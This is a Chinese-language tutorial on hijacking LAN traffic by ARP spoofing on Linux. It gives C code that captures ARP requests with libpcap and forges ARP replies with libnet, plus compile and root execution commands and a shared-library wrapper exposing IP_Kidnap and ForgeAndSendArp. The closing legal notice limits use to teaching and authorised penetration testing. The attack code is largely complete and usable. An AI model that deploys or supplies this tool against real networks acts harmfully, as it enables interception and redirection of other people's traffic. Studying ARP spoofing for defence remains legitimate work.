本文詳細記錄如何在 Linux 環境下結合 libpcap(數據包捕獲)與 libnet(封包構造/發送)實現基於 ARP 協議的局域網 IP 劫持。包含完整代碼、編譯說明、共享庫封裝及驗證流程,適合網絡安全研究與底層開發學習者參考。
libpcap-dev、libnet-dev、GCClibpcap 設置 BPF 過濾器 "arp and dst host 192.168.1.99 and ether broadcast",僅捕獲目標 IP 的 ARP 廣播請求。ARPOP_REPLY),將目標 MAC 改為攻擊者指定的 glRetargetMac,通過 libnet 在鏈路層發送。void getPacket(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet) {
// 從 Ethernet + ARP 固定偏移提取字段
unsigned char *dst_ip = packet + 28; // ARP 目標 IP
unsigned char *dst_mac = packet + 22; // ARP 目標 MAC(即發送方 MAC)
// 立即構造並發送偽造 ARP Reply
ForgeAndSendArp(glNICStr, src_mac, dst_mac, src_ip, dst_ip, ARPOP_REPLY, 1);
// ... 打印調試信息 ...
}
偏移說明:Ethernet Header (14B) + ARP 固定頭部 (8B) = 22B 開始是發送方 MAC;再後 6B MAC + 4B IP = 28B 為目標 IP。
libnet_ptag_t p_tag = libnet_build_arp(
ARPHRD_ETHER, ETHERTYPE_IP, 6, 4, ARPOP_REPLY,
src_mac, src_ip, dst_mac, dst_ip, NULL, 0, net_t, 0);
p_tag = libnet_build_ethernet(dst_mac, src_mac, ETHERTYPE_ARP, NULL, 0, net_t, 0);
libnet_write(net_t); // 發送
libnet_destroy(net_t);
# 編譯 gcc arp_hijack.c -lpcap -lnet -o arp_hijack # 執行(需 root) sudo ./arp_hijack
將核心邏輯抽離為 IP_Kidnap() 與 ForgeAndSendArp() 兩個導出函數,編譯為 .so:
gcc arp_hijack.c -lpcap -lnet -shared -fPIC -o libarp_hijack.so
導出原型:
int ForgeAndSendArp(char *dev, u_char *src_mac, u_char *dst_mac,
u_char *src_ip, u_char *dst_ip, uint16_t arpOp, unsigned int sendTimes);
int IP_Kidnap(u_char *TargetIP, char *BpfCmd, u_char *RetargetMac,
char *listenNICStr, char *sendNICStr);
arp -a 顯示網關 MAC 被篡改為 glRetargetMac,流量經攻擊機轉發。arp -s)法律聲明:本文代碼僅供網絡原理教學與授權滲透測試使用。未經授權對他人網絡實施 ARP 欺騙屬違法行為,後果自負。